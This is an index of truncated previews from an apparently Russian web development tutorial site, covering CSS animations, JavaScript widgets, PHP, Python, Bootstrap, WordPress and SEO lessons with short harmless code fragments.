...       <h2>easy file managament</h2>       <p>fusce ipsum augue, consectetur quis dignissim eget, malesuada vitae ipsum. learn more about.       </p>       <a ...
... file_loader = filesystemloader('templates') env = environment(loader=file_loader) template = env.get_template('about.html') out = template.render(content=content) print(out) в коде выше ...
...       if (browser.indexof("firefox") != -1) ff = 1;     }   }   var block = document.getelementbyid("block");   delta_x = 0;   delta_y = 0;   /* ставим обработчики событий ...
...     for(let element of elements) {         let value = localstorage.getitem(element.dataset.name);         if( !value ) return;         else element.innertext =  value.trim(); ...
... параметры";       return false;     }     list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)     $types ...
... параметры";       return false;     }     list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)     $types ...
... "http://www.cbr.ru/scripts/xml_daily.asp?date_req=$date"; // ссылка на xml-файл с курсами валют   $content = file_get_contents($link); // скачиваем содержимое страницы   $dom = new domdocument("1.0", "cp1251"); ...
чтобы пользователю было веселее переходить по ссылкам, веб-разработчики придумывают креативные hover-эффекты. зачастую хватает одного css, без ...
для создания этого забавного лоадера, слегка напоминающего игрушку кубик-рубик, нужно в html-разметке прописать блок обертку с классом loader и четыре ...
мне очень нравится этот способ создания бегущей волны для последующей ее анимации. почему? здесь мы не используем никакой графики, только свойства ...
любой, кто имеет опыт разработки web приложений или использования какого-либо php фреймворка, безусловно, сталкивался с реляционными базами данных, ...
проверка на сезонность и перспективность нам надо исключить, что выбранная ниша не имеет сезонности и нисходящего тренда. поскольку, это наш ...
по внутренней поверхности полукруга, туда-сюда катается мячик. кроме этого сам полукруг или назовем его лоадер, раскачивается вверх-вниз, словно ...
для создания более сложных css анимаций, разработчики ввели функцию var() и calc(). функция var() позволяет динамически вставлять значения переменных ...
пользователь водит мышкой по экрану и автоматически стирается верхний слой. под верхним слоем находится фоновая картинка. немного движений ...
посмотрите сначала предыдущий урок. а что если пользователь не догадается навести мышку на свернутое меню, чтобы его развернуть? неплохо было ...
мне нравиться использовать шрифтовые иконки из библиотеки fontawesome, потому что их легко кастомизировать под любую цветовую гамму сайта. html разметка ...
суть эффекта параллакс заключается в разных скоростях движения отдельных элементов фоновой картинки, при этом сам фон при прокручивании страницы, ...
на всей странице будет происходить плавное движение вверх разноцветных квадратиков разного размера. подготовка фона для анимации создадим ...
на этом уроке вы узнаете, как заставить placeholder не исчезать, а переместится наверх при заполнении поля формы. html разметка форма состоит из ...
переменные в css появились в основном для создания анимаций. на этом уроке мы сделаем лоадер с летающим по заданной траектории самолетом. это ...
сделать какой-нибудь простенький эффект при наведении можно с помощью самого курсора, меняя его внешний вид. html разметка создадим меню, используя ...
на это уроке мы рассмотрим эффект, когда при движении курсора плавно появляется и исчезает текст. создание и стилизация текста <div class="box"> ...
как развернуть сложенные в стопку карточки при наведении мыши? html разметка html структура состоит из трех карточек с текстовым контентом. ...
медленно движущаяся картинка в сферической рамке смотрится очень завораживающе. эта сказочная анимация выглядит дорого, хоть и сделана на ...
как начинающие, так и опытные верстальщики не могли не заметить, что вместе с новыми возможностями в css3 технологиях, объем самого css-кода, существенно ...
данная css анимация построена на двух свойстве transform с его значениями: rotate (поворот) и scale (масштабирование). два круга вращаются вокруг своей оси ...
рассмотрим на примере анимации текста, как можно использовать css функцию attr. создание, позиционирование и стилизация текста data-text представляет ...
css отлично подходит для анимирования элементов сайта, когда не требуется взаимодействия с пользователями. если элементы должны реагировать ...
на предыдущем уроке мы нарисовали чашку с блюдцем, используя только css стили и никакой графики. на этом уроке сделаем нашу чашку интерактивной ...
каким образом посетители перемещаются на вашем сайте? как они находят то, что ищут? это в большой степени определяется организацией вашего ...
продолжаем предыдущую статью, в которой рассказывалось как загрузить файл на сервер в expressjs. в данной статье мы рассмотрим как загрузить сразу ...
пропишем внутри ссылок data*-атрибуты с названиями ссылок. это нужно для передачи этих названий в функцию attr для получения hover-эффекта. <ul> ...
xor (exclusive or)- это логическая операция, которая возвращает истину (1), если и только если оба операнда различаются. это означает, что результат xor ...
доброго времени суток! несмотря на то, что структура базы данных может быть создана в ручную, путем описания sql-кода необходимого для создания ...
доброго времени суток! сегодня мы рассмотрим с вами ка можно создать эффект бьющегося сердца средствами css-анимации. итак, код ниже: <!doctype html> ...
доброго времени суток! сегодня мы рассмотрим основные термины, используемые при работе с инструментом визуаального проектирования интерфейсов ...
доброго времени суток! сегодня мы поговорим с вами о новшестве языка php - атрибутах. в php 8 была добавлена поддержка атрибутов, которые предоставляют ...
в мире веб-разработки php продолжает выделяться как один из самых широко используемых языков программирования.с каждой новой версией php представляет ...
в php, передача данных между приложением и сервером в формате json является обычной практикой. интерфейс jsonserializable предоставляет возможность управления ...
в мире веб-разработки существует множество технологий и подходов, которые помогают упростить процесс передачи данных между различными компонентами ...
в мире, пронизанном технологиями, нейронные сети становятся непременным инструментом для решения широкого спектра задач, начиная от распознавания ...
openssl - это универсальная криптографическая библиотека, предоставляющая различные методы шифрования для защиты данных. далее мы рассмотрим ...
архитектура программного обеспечения играет ключевую роль в разработке веб-приложений, определяя их структуру, распределение компонентов ...
доброго времени суток! в прошлой статье мы рассмотрели с вами, что такое операционная система linux и какие дистрибутивы бывают. одним из самых ...
swoole — это современное высокопроизводительное асинхронное расширение для php, которое позволяет разработчикам создавать масштабируемые, параллельные ...
описание: продолжу тему создания различных анимационных эффектов на javascript, и сегодня покажу вам ещё один интересный скрипт, который двигает ...
описание: достаточно простой скрипт, основанный на таймерах javascript. всё, что он делает, так это при наведении мышки начинает переливаться цветом, ...
здравствуйте! в сегодняшней статье мы поговорим о загрузке векторных ассетов в android studio. вы узнаете, как добавлять svg-файлы в проект, превращать ...
описание: текст на кнопке в виде бегущей строке. весьма интересный скрипт javascript, который вполне может быть использован при создании сайта на ...
здравствуйте! во время работы с текстовыми файлами часто возникает задача очистки данных от дубликатов. например, у вас есть список email-адресов, ...
здравствуйте! при работе с текстовыми файлами в python вы могли сталкиваться с ошибками вроде: unicodedecodeerror: 'charmap' codec can't decode byte 0x98 in position xxx. ...
описание: очень простой и часто используемый скрипт. очень простой скрипт, который способен реализовать любой, кто занимается созданием сайтов ...
описание: кнопка с динамически появляющимся текстом. при нажатии на кнопку пользователь переходит на заданный в скрипте файл. не совсем тривиальный ...
всем привет! если вы ищите легковесную, простую javascript галерею с поддержкой свайпов и без зависимостей, то ваш выбор – photoswipe. как уже было сказано, ...
всем привет! сегодня я пишу первую статью из серии, посвященной фреймворку boostrap, в которой вы узнаете, что такое bootstrap и как его использовать. ...
существуют четыре основных принципа визуального дизайна, которые могут применяться для разработки дизайна всего что угодно. это повторение, ...
мы продолжаем серию уроков по верстке сайта с нуля. на прошлом уроке мы верстали шапку макета. далее идет блок из одной большой фотографии в ...
на первом уроке мы уже создали большую часть html-разметки. google карта пошаговая инструкция как вставить на сайт карту с вашим объектом. ...
на втором уроке мы уже стилизовали контактную форму и разместили ее в левой колонке. остальные три блока (контактная информацию, соц. иконки ...
мы продолжаем серию уроков по верстке сайта с нуля с плоским дизайном. на первом уроке была сверстана шапка макета. на втором уроке - блок с ...
в спокойном состоянии кнопка выглядит обычно, в стиле плоского дизайна. однако при наведении на нее мыши, происходит переворачивание с 3d-эффектом. ...
продолжим создание индикатора для меню навигации. здесь находится первая часть урока. стилизация и hover-эффект меню при наведении мыши, иконка ...
всем доброго времени суток. сегодня я хотел бы поделиться с вами, посетителями моего сайта, очень важной информацией. буквально на днях я запустил ...
продолжаем уроки по верстке сайта с нуля. на первом уроке мы верстали шапку сайта. на втором уроке - блок с большой картинкой. на этом уроке мы ...
полупрозрачная бизнес карта органично вписывается в любой дизайн сайта. если поменять изображение у фона, например на летнюю тему, то бизнес ...
на прошлом уроке мы создали футер, украшенный волной, в его верхней части. согласитесь, что неплохо было бы оживить нашу волну - сделать анимацию. ...
начиная с этого урока, мы будем учиться верстке сайта с нуля в популярном flat стиле. эта тема очень объемная и мы посвятим ей не один урок. что ...
всем привет! в предыдущей статье мы рассмотрели, что такое boostrap и зачем он нужен, а в этой рассмотрим, как установить и начать использовать bootstrap ...
продолжаем изучать компонент zend log. первая часть данной статьи находится здесь. предобработка данных. если вам необходимо в автоматическом ...
на этом уроке мы сделаем нестандартную анимацию для переключателя меню-гамбургер на языке javascript. создание переключателя создадим саму кнопку-переключатель ...
в свернутом виде меню навигации из себя представляет кнопку с иконкой плюс. при клике по кнопке меню разворачивается - иконки образуют круг ...
разделим рисование куба условно на пять сторон и сверху крышка top. html код тегами span обозначим 4 стороны куба с использованием переменной i. ...
в этой статье речь пойдет не о стилизации стандартного чекбокса созданного на html, а о создании чекбокса с нуля и реализации его переключения ...
в этом уроке мы научимся с вами делать горизонтальное анимированное выпадающее меню на css3, при наведении курсором на его категории, будет меняться ...
всем привет! в этой статье мы продолжим изучать bootstrap 4 и рассмотрим компонент под названием cards. cards – это компонент, который позволяет создавать ...
всем привет! в этой статье мы рассмотрим утилиты и типографию в bootstrap 4 и преобразим наш блок, написанный в предыдущей статье. если вы перейдете ...
всем привет! в этой статье мы рассмотрим, что такое reboot в bootstrap 4 и какую роль он играет в фреймворке. в основную задачу bootstrap входит обеспечение ...
по умолчанию боковое меню выглядит, как узкая полоска с иконками. так пользователь понимает, что это меню можно развернуть и увидеть названия ...
на этом уроке мы создадим простую css анимацию появления текста. разобьем наш текст на отдельные фразы и будем их друг за другом прокручивать ...
много реалистичные пузырьков разных размеров, с разной скоростью поднимаются вверх, лопаясь на ходу. как такое возможно сделать на javascript? перед ...
возможно, что после прочтения статьи python – как первый язык программирования, вам захочется познакомиться поближе с питоном (народное название). ...
часть 1 когда вы разрабатываете сайт на своем собственном компьютере, потенциальные посетители, набрав в браузере адрес http://myrusakov.ru ...
изучать программирования без решения практических задач, не имеет никакого смысла. вам не нужна теория, просто ради теории и работодателю тоже. ...
на этом уроке мы познакомимся с ещё одним типом данных в python, множеством (по-английски - set). множество - это неупорядоченный набор уникальных ...
часть 1 часть 2 у начинающих php-разработчиков возникает соблазн получить все и сразу, установив такие пакеты, как xampp, wamp, mamp или easyphp. аббревиатура ...
в программировании мы всегда взаимодействуем с данными, которые не являются какой-то абстрактной субстанцией. все данные разделяются по определенному ...
предназначение цикла while в python, такое же, как и в других языках программирования - выполнять одинаковые инструкции столько раз, пока условие ...
на этом уроке мы разберем основные правила css анимации на веб-странице, которые можно применить к любому элементу, а не только к тексту. просто ...
в python у разных типов данных есть свои методы (функции), специфичные для этого типа данных. и раз уж на прошлом уроке мы начали знакомиться со строками, ...
в этой статье, мы познакомимся с базовыми основами работы со строками в python. строка (string) содержит в себе набор символов в кодировке ascii и относится ...
часть 1 часть 2 часть 3 используя готовые пакеты программного обеспечения для разработки сайтов, вы лишаетесь опыта работы в области администрирования ...
словарь является типом данных (dist) в python и представляет собой неупорядоченную коллекцию, состоящую из пар "ключ-значение". словари в python очень ...
на этом уроке мы не просто познакомимся с градиентами, но и узнаем, как их можно применять на практике. вариантов применения градиентов в веб-дизайне, ...
список в python представляет из себя упорядоченную коллекцию однотипных или не однотипных элементов и относится к типу данных list. это когда в переменную ...
на этом уроке, мы делали анимацию элементов, используя библиотеку animate.css. css анимация отрабатывала сразу, после загрузки страницы и останавливалась, ...
data urls - это uri схема, которая позволяет встраивать мультимедиа данные в html-документ. предположим, вы хотите вставить небольшое изображение ...
какое количество сюжетов используется в голливудских фильмах? некоторые критики говорят, что их всего пять. а сколькими способами можно структурировать ...
часто можно увидеть в социальных сетях, как бывалые программисты внушают новичкам, что им не нужно тратить время на изучение библиотеки jquery. ...
на прошлом уроке, мы научились делать css анимацию элементов, используя библиотеки animate.css + wow.js. на этом уроке мы научимся как сделать тоже самое, ...
на одном из предыдущих уроков, мы рассматривали самый простой способ, как сделать таблицу адаптивной. суть адаптации таблицы сводилась к появлению ...
oauth 2.0 - это открытый протокол авторизации, который позволяет одним приложениям получать доступ к данным других приложений. например, игровое ...
javascript - это гибкий и мощный язык программирования, который реализуется различными веб-браузерами. наряду с html и css, это основной компонент ...
первая часть этой статьи находится здесь, а в данной статье мы продолжим обсуждать десять частых ошибок в ux дизайне. ошибка 6: пространство ...
последнее время мне все чаще задают вопросы о том, как устроены индикаторы, показывающие текущую позицию чтения текста (количество прочитанного ...
данная статья является продолжением предыдущей статьи, в которой мы говорили о том, как реализовать индикатор позиции чтения. в прошлой статье ...
на большинстве сайтах поля форм обратной связи, по ширине не больше 300 пикселей. форма с максимальной шириной в 320 пикселей целиком поместится ...
делать карусель на чистом js, с нуля и самому? зачем изобретать велосипед, когда есть готовые решения, slick / owl слайдеры? на это есть, как минимум ...
на этом уроке мы сделаем анимацию svg вектора, используя jquery плагин - lazy line painter. суть анимации состоит в постепенном прорисование любого векторного ...
в статье работа с библиотекой jquery ui, мы подробно на примере виджета tooltip, разобрали, как подключить библиотеку, зачем она вообще нужна. сегодня, ...
все базы данных делятся на два типа, с хранением данных в таблицах (mysql) и с хранением данных, в массивах (формат bson). mongodb – документо-ориентированная ...
в прошлой статье мы говорили о цепочке вызовов методов объекта javascript promise для последовательного преобразования результата асинхронной операции ...
несмотря на существенный прорыв в создании анимаций на css, javascript по прежнему остаётся главным инструментом по анимациям в веб-разработке. на ...
нас, веб-разработчиков, строгий google, уже давно убедил, что изображения на сайте, надо оптимизировать – уменьшать их вес. красный или оранжевый ...
не секрет, что вероятнее всего верстка, старательно выполненная верстальщиком по psd макету, а дальнейшем перекочует в руки к специалисту по ...
значения свойства transition управляют плавной сменой свойств при анимации, наведении и клике на любой элемент. css свойство transition нацелено на улучшение ...
сегодня мы познакомимся с адаптивным слайдером на jquery - bxslider, который будет хорошо отображаться на любом устройстве. этот слайдер подходит для ...
в статье про формы, тема полей ввода (input) умышленно осталась не затронутой, поскольку она обширная и заслуживает отдельного внимания. элемент ...
как показывает практика, для начинающих фронтендеров, самой большой проблемой при кастомизации slick слайдера, остается настройка стрелок и точек. ...
на прошлом уроке мы сделали верстку слайдера, на этом уроке настроим и стилизуем slick слайдер. настройки slick слайдера просматривая демо-страницу ...
я считаю, что верстальщику необходим навык стилизации готового slick слайдера под слайдер на макете для верстки. сейчас объясню почему. предположим, ...
перед web-разработчиками часто возникают задачи, в которых они должны работать с датой и временем. если вы все еще используете php функции, такие ...
по умолчанию все браузеры ищут фавикон в корне сайта, но ничего не случиться, если мы поместим фавикон в папку с картинками и укажем пути в хедере ...
в интернете мы то и дело ищем какую-нибудь информацию, чаще всего это текст и поэтому не случайно всех больше html тегов предусмотрено именно для ...
существует два принципиально разных способа, добавления иконок на сайт: в виде картинки (растровой или векторной) в качестве иконочного ...
на прошлом уроке мы создавали html структуру для макета с блок постами, а на этом уроке расставим посты в соответствии с макетом, максимально используя ...
на дворе уже 2020 год и я думаю, что этап агитации делать верстку с использованием препроцессоров, уже давно пройден. поэтому можно без потери ...
на этом уроке мы сделаем верстку адаптивной шапки сайта (лендинга), используя bootstrap сетку. если вы не знаете что это такое, советую почитать статью ...
с технологией флексбоксов стало намного проще не только адаптивно верстать сайты, но и выравнивать элементы. раньше с этим было трудновато. ...
эта статья является продолжением предыдущей статьи, которая находится здесь. шаг 3: кодирование отображаемого кода для предотвращения межсайтового ...
flex блок представляет собой flex-контейнер, внутри которого вдоль основной оси, расположены flex-элементы. это легко представить в виде шашлыка, ...
использование всплывающих подсказок на html страницах, прекрасная возможность дать пользователю уточняющую информацию, в удобном для него виде ...
что такое аккордеон в html? это компактный способ отображения контента на сайте. чаще всего это текстовые блоки с информацией, например ответы ...
элемент с position: sticky отображается как относительно спозиционированный до тех пор, пока не пересечет заданную границу и тогда он ведет себя как ...
многие из вас наверняка видели, что при заполнение формы можно поставить галочку в поле с чекбоксом и при вводе пароль станет видимым. сегодня ...
вы были молодцом и уже прошли курс по основам верстки, хорошо знаете html теги и css свойства. кто-то из вас воспользовался многочисленными бесплатными ...
эта статья является продолжением предыдущей статьи. первая часть находится здесь хотя в реальности, мы редко когда манипулируем временем, ...
как с пользой можно применить эффект печатающегося текста на сайтах? первое, что приходит в голову - для фиксирования внимания посетителей на ...
на этом уроке, мы создадим красивый эффект тени при наведении, на чистом css. подобный эффект можно реализовать на любом блочном элементе. в нашем ...
в первой части, мы учились получать и изменять значение атрибута на jquery. во второй части, напишем программу на jquery - при клике по цветной кнопке, ...
сегодня мы научимся получать значения из формы на jquery, вводимые пользователем. рассмотрим на примере простого калькулятора. у него будет два ...
эта статья является продолжением предыдущей статьи, которая находится здесь. существует несколько популярных конкурирующих форматов ...
на этом уроке мы сделаем модальное окно на js. уже трудно себе представить современный коммерческий сайт без модального окна. поэтому, понимание ...
на этом уроке мы научимся устанавливать на сайт видео фон во всю ширину экрана. обычно такие видео фоны служат вместо статичного фона в верхней ...
из этого урока вы узнаете как создать адаптивное навигационное меню с иконками, используя библиотеку font awesome и палитру цветов, на чистом css. ...
бывает, что заказчики часто просят, сделать дополнительную навигацию на wordpress и вывести её, в указанном на скриншоте, месте (красными стрелочками). ...
на этом уроке мы разберем пример поворачивающейся карточки с картинкой. с лицевой стороны у карточки картинка, на обратной стороне - текст. при ...
сегодня вы узнаете как сделать чекбокс на html и добавить ему css стилей для лучшей совместимости с дизайном сайта. демонстрация чекбокс на ...
исходя из своего личного опыта, делать адаптивную верстку psd макета по сетке bootstrap, несколько проще, чем на флоатах или флексах. верстку по системе ...
в первой и второй части урока, мы заново создали шапку сайта, но этого не достаточно. при уменьшении ширины экрана до 1000 пикселей, элементы сайта ...
внутри контейнера header находится блок навигации nav. меню шапки в свою очередь навигация содержит меню и языковое меню. продолжим html ...
тем, кто знает, что такое обратный звонок на сайте, предлагаю не читать, а перейти сразу к следующей главе. для остальных постараюсь объяснить, ...
моему другу на собеседовании в одну it компанию, дали следующее задание: "как при помощи jquery отфильтровать данные из списка по первым буквам в ...
уже давно на главной странице блога для вывода превью-постов, активно применяют не привычный список, а сеточный макет (grid layout) в виде карточек ...
разработчики клиентских сайтов на wordpress, часто сталкиваются с необходимостью восстанавливать сайт, после очередного обновления какого-нибудь ...
css библиотека imagehover – это коллекция различных css эффектов при наведении на картинку (hover effects), которые можно применять как к одиночным картинкам, ...
какая необходимость делать купоны на css, когда есть photoshop и много замечательных сервисов, где на конструкторе, выбрав нужный шаблон, можно с легкостью ...
сервис яндекс.деньги позволяет любому физическому лицу (для юрлиц и ип есть яндекс.касса), разместить на сайте форму оплаты, даже владельцам ...
как сделать массовый импорт товаров в интернет-магазин, работающий на плагине wordpress – woocommerce? совсем недавно этого нельзя было сделать бесплатно, ...
статичные блоки с отзывами идеально подходят для классических товарных лендингов. это когда срок жизни лендинга, равен длительности продажи ...
как веб-разработчику продемонстрировать потенциальному клиенту адаптивность сделанных сайтов из портфолио? и зачем вообще, что-то демонстрировать, ...
на этом уроке, мы создадим сайдбар с иконками, для этого нам пригодится иконочный шрифт и хорошие знания в html + css. надо сказать, что мода на ...
на предыдущем уроке мы верстали карусель (слайдер) с помощью bootstrap компонента carousel, а на этом уроке нас ждет верстка секции с иконками. секция ...
на этом уроке мы подробно разберем, как сделать карточку товара на css. под карточкой товара, я подразумеваю продающую карточку в интернет-магазинах. ...
по умолчанию маркером списка ul, служит простая черная точка. я знаю, что многие начинающие верстальщики, используют маркированные списки для ...
для верстальщика псевдоэлементы и псевдоклассы – незаменимые помощники и я вам это сейчас докажу на примере фрагмента psd макета. дизайнеры ...
в данной статье я расскажу вам, что такое шаблонизатор twig, и чем он может помочь веб-разработчику. любой, кто уже пытался разрабатывать свой ...
сегодня мы создадим три вкладки (tabs), переключаясь между которыми, поочередно будет скрываться или снова показываться, содержимое всех вкладок. ...
если верхняя панель навигации или просто меню (это одно и тоже), исчезает с поля зрения, при прокрутке странице, то перед вами точно не фиксированное ...
в прошлой статье мы говорили с вами о линейном поиске, который подойдет для поиска в небольших по объему не сортированных коллекциях. однако, ...
я большой сторонник минимализма при планировании html структуры сайта. любой сайт начинается с шапки и если у вас небольшое меню, то желательно ...
при создании веб-сайта мы должны уделять первоочередное внимание цели привлечения посетителей, с тем, чтобы задержать их затем дольше на сайте. ...
существует длинный список языков программирования, которые продолжают существовать по сей день, со своими сильными и слабыми сторонами, облегчая ...
css анимация, состоит из ключевых кадров @keyframes, куда прописываются стандартные css свойства. собственно для создания эффектной анимации, нужны ...
у нас есть схема структуры сайта с ключевыми словами, которые будут вставляться в статью, давая четкий сигнал поисковым машинам, на какой запрос ...
на прошлом уроке мы создали схему структуры сайта, на котором будет 6 категорий, одна из категорий будет состоять из двух подкатегорий. все категории ...
семантическое ядро – это список ключевых слов, по которым будут заходить пользователи на ваш сайт из поисковых систем. сначала собирают семантическое ...
на предыдущем уроке мы верстали верхнюю панель макета, а на этом уроке приступим к верстке карусели (слайдера). скриншот секции карусель. ...
итак, на этом уроке делаем верстку последней секции макета по сетке bootstrap. секция с корзиной верстаем уже по накатанной схеме: секция -> ...
пока вы сидели в одиночестве, вылавливая на фриланс-биржах, подходящие для себя заказы, офисные веб-разработчики, уже на полную катушку, использовали ...
если бы таблицы могли хорошо адаптироваться под разные разрешения экранов, то человечество и по сей день делало бы табличную верстку. я ещё ...
на прошлом уроке, мы закончили с чекбоксом, нам осталось сделать кнопку. шаг 7. внутри блока с формой, сделаем разметку для кнопки, обернем ...
продолжаем верстку формы входа, используя методологию бэм. шаг 3. под ссылкой – блок с аватаркой. <div class="form__avatar"> <img src="img/avatar.png" alt="avatar"> ...
в очередной раз, просматривая вакансии на html-верстальщика, на предмет поиска темы для новой статьи, в списке требований работодателя, наткнулся ...
на этом уроке мы сделаем валидацию номера телефона на js. для этого создадим форму с одним единственным полем, куда пользователь будет вводить ...
сегодня мы поговорим о требуемых навыках для работы не на фрилансе, а в офисе, как на месте, так и удаленно. просматривая размещенные вакансии ...
оформить красиво статью на html - это не значит, как-то ярко или по-особому. вовсе нет, стиль оформления, не должен напрягать читателя и вызывать ...
перед теми кто начинает программировать на java, сразу возникают два вопроса: как скомпилировать, и как запустить программу на java? в одной из ...
здравствуйте, уважаемые посетители сайта myrusakov.ru! как вы знаете, недавно я запустил несколько новых видео курсов связанных с языком java и поэтому ...
на прошлом уроке была сделана верстка секции по psd макету. сейчас наш сайт хорошо смотрится на больших и средних мониторах. но что произойдет, ...
на прошлом уроке была сделана html разметка для дальнейшей верстки psd макета. как и ожидалось все блоки и секции встали друг под друга - это и есть ...
на прошлом уроке были проделаны все подготовительные работы для верстки секции по psd макету. после создания файла index.html (я пишу код в notepad++), у ...
при посещении тех или иных сайтов можно заметить такую особенность, когда при выделении текста на странице, он может менять свой стиль. такого ...
на этом уроке мы будем создавать адаптивную контактную форму на всю ширину браузера, используя css и медиа-запросы. демонстрация примера. ...
в прошлой статье мы говорили о том, как превратить php скрипт в консольную команду для выполнения рутинных действий. а в этой посмотрим как разобрать ...
каждый веб-сайт создается для достижения некоторой цели. оптимизация конверсии (conversion rate optimization – cro) – это процесс, имеющий целью увеличить ...
валидация формы – это функция, проверяющая вводимую пользователем информацию, при заполнении формы. если пользователь что-то пропустил или ...
на этом уроке, мы займемся версткой формы, пока без отправления данных на сервер. кроме того, установим скрипт выбора даты, при онлайн бронировании. ...
давайте немного освежим в памяти, для чего нужны radio кнопки на сайтах. radio кнопка – это переключатель, который используют в формах, когда пользователю ...
для верстальщика обязательным порядком необходимо уметь стилизовать разные элементы формы. согласитесь, что вряд ли дизайнер оставит форму, ...
на этом уроке вы узнаете, как работать со скриптом aos, с помощью которого можно легко создавать анимацию элементов при скролле страниц. ссылка ...
у посетителя сайта, должна быть возможность, быстро вернуться наверх, если он дошел до конца страницы. обычно в правом нижнем углу браузера, ...
у любого вебмастера есть свой набор полезных сервисов, которые облегчают работу и помогают в веб разработке. сегодня я поделюсь с вами своей ...
на этом уроке мы научимся встраивать строку поиска в адаптивное меню навигации, используя при этом только html/css код. демонстрация примера. ...
сегодня мы поговорим о том, что такое якорь в html, как это работает, да так, чтобы действие произошло плавно. якорь – это знак решетки, который ...
секция с фотографиями на секции с портфолио, вы узнаете, как верстать на flexbox. мы имеем дело с нестандартным расположением фотографий, одна ...
можно бесконечно долго изучать html теги и css свойства, но эти знания сами по себе ничего не дают. нужно брать psd макет и начинать верстать, закрепляя ...
на прошлом уроке, мы привязали к кнопке гамбургер выезжающее меню при клике по ней. посмотрите демонстрационный пример прошлого урока, как ...
на прошлом уроке, мы создали анимацию для кнопки гамбургер, без привязки к меню. на этом уроке привяжем к нашей кнопке адаптивное меню. на мобильных ...
на экранах мобильных устройств, очень часто для горизонтального меню не хватает места. как же решает эту проблему большинство верстальщиков? ...
на этом уроке мы разберем, как вставить видео в кастомном видеоплеере на html страницу. в качестве импровизированного видеоплеера, будет использовано ...
в первой части урока мы сверстали логотип и меню для десктопных устройств. в чем проблема с меню навигации для планшетов и смартфонов? на маленьких ...
на предыдущем уроке вы узнали какие seo плагины рекомендуется установить на любой wordpress сайт. на этом уроке вы узнаете как защитить ваш сайт и ...
css фильтры чаще всего применяют к фоновым изображениям или фотографиям. по сути они заменяют программу photoshop, чтобы добиться некоторого эффекта, ...
прежде чем ответить на этот вопрос, сначала мне нужно объяснить, что такое структурированные данные. в простейшем смысле структурированные ...
зачем обязательно надо делать картинки адаптивными? к сожалению, то счастливое время, когда можно было вставить картинку на веб-сайт и указать ...
наверняка вы видели на многих сайтах кнопку в виде иконки с тремя горизонтальными полосками, напоминающий гамбургер. в большинстве случаев ...
это вторая часть по гамбургер меню. в первой части мы сделали пока только верстку. 5. скачать библиотеку jquery-3.3.1.min.js подключаем к нашему html ...
при создании собственного сайта его владелец рано или поздно сталкивается с вопросом - где найти контент для него. ведь мало кого заинтересует ...
предположим, у вас есть продукт, портфолио или просто идея, которой вы хотите поделиться на своем сайте. прежде чем опубликовать что-либо в интернете, ...
на первой части урока, мы делали верстку на flexbox-ах, а на этом уроке, адаптируем и анимируем элементы сайта, используя библиотеку animate.css. адаптация ...
необходимость размещать текст в колонках на веб-страницах, безусловно пришла из газет и журналов. однако на мониторах компьютеров, читать длинные ...
после прочтения этой статьи, у начинающего разработчика по крайней мере на один вопрос будет меньше. заказчики часто просят исполнителя изменить ...
сегодня почти каждая серьезная компания распространяет свои товары и услуги через интернет с помощью собственного сайта. в условиях технологического ...
на предыдущем уроке мы разобрали, как можно менять отдельные css свойства у элементов при помощи javascript. однако будет ли такое действие эффективным, ...
эффект плавного перехода в css часто применяется при наведении курсора на какой-нибудь элемент, например для кнопки. когда при наведении курсора, ...
чем ещё можно привлечь внимание пользователя? например, при наведении курсора наша кнопочка могла бы двигаться, вращаться, искажаться или масштабироваться. ...
на первом и втором уроках мы делали адаптивную верстку фотогалереи, где контент заполнял всю ширину экрана. сегодня сверстаем простую секцию ...
каждый грамотный программист стремится писать код, который работает. однако в долгосрочной перспективе вероятность того, что ваша программа ...
на предыдущем уроке мы сверстали секцию с портфолио на css grid для десктопа. осталось сделать верстку адаптивной для различных мобильных устройств ...
у верстальщиков часто возникает ситуация, когда необходимо сделать элементу вертикальное выравнивание - расположить в центре экрана по оси ...
официальный сайт: textolite.ru textolite представляет собой простую систему управления статичным сайтом с бесплатной и платной расширенной версией. ...
в статье "бриф на разработку сайта" вы узнали что такое бриф и зачем надо анкетировать заказчика. вам крупно повезет, если у заказчика существует ...
эта статья является логическим продолжением двух предыдущих статей: "бриф на разработку сайта" и "прототипирование сайта – важный этап" все ...
в первой части урока мы нарисовали сам слайдер с использованием html и css, во второй части создадим кнопки prev / next и напишем javascript код для управления ...
на этом уроке разберем как можно имитировать ввод текста с клавиатуры с помощью css анимации. эффект печатающегося текста способен оживить вашу ...
это будет не просто очередная статья в стиле "копирайтеров-теоретиков" на тему, что такое "бесплатный конструктор сайтов mobirise". прежде, чем приступить ...
в статье "конструктор mobirise для верстальщика" была подробно раскрыта тема, чем полезен конструктор mobirise верстальщику. в этой статье, я прокомментирую ...
данная статья является логическим продолжением статьи «как уменьшить размер изображения без photoshop». доступность больших и качественных ...
прежде чем использовать и публиковать изображения на веб-сайте, сначала их необходимо подготовить. подготовка включает в себя уменьшение веса ...
на этом уроке вы узнаете, как стилизовать стандартные радио кнопки под свой дизайн, с помощью html и css. на сайтах радио кнопки чаще всего используются ...
добавить иконки соцсетей на wordpress сайт можно с помощью обычного виджета text. находим в кастомайзере виджет text и добавляем его в первую колонку ...
статья "бриф на разработку сайта" - ответила на вопрос, что такое бриф и кому он нужен. данная статья будет практическим руководством, как создать ...
в этой статье не рассматриваются технические термины и концепции, чтобы обеспечить ее содержание простым. если вы программист, позвольте мне ...
предлагаю вашему вниманию конкретный план действий, состоящий из 8 шагов, которые приведут вас от идеи до готовой схемы структуры сайта. схема ...
я хочу вывести иконки социальных сетей в верхнем правом углу шапки сайта с помощью хуков. поскольку верхняя область у меня уже занята ссылками, ...
html код html разметка состоит из элементов маркированного списка, внутри блока div. <div class="list">     <h2>list item hover effect</h2>     <ul> ...
хорошее понимание работы механизма перенаправления url исключительно важно для любого мало-мальски сложного web-приложения. я уже писал о механизме ...
в чем состоит необычность эффекта? у карточки есть два лица. в своем обычном состоянии карточка пронумерована и полностью закрашена красным ...
чтобы нарисовать реалистичные капли воды, не обязательно владеть техникой рисования. достаточно хорошо знать css-свойства и уметь применять ...
какие в принципе существуют варианты, чтобы расположить текст вертикально на чистом css. я, как минимум знаю два варианта, оба мы сейчас и рассмотрим. ...
для получения изогнутой тени, нужно прописать обоим псевдоэлементам before и after, css-свойство transform: skewy. по оси y, мы изменим прямые углы на +-7.5 градусов. ...
при наведении на элемент, можно менять не только его внешний вид посредством css, но и самого курсора. а с помощью javascript реагировать на событие ...
авторам статей или коммерческих текстов удобно писать и сразу видеть сколько символов уже написано. ведь от этого зависит, сколько денег в итоге ...
как легко и оригинально оживить текст, не создавая никакой анимации? об этом вы узнаете на этом уроке. эффект красиво смотрится только на крупном ...
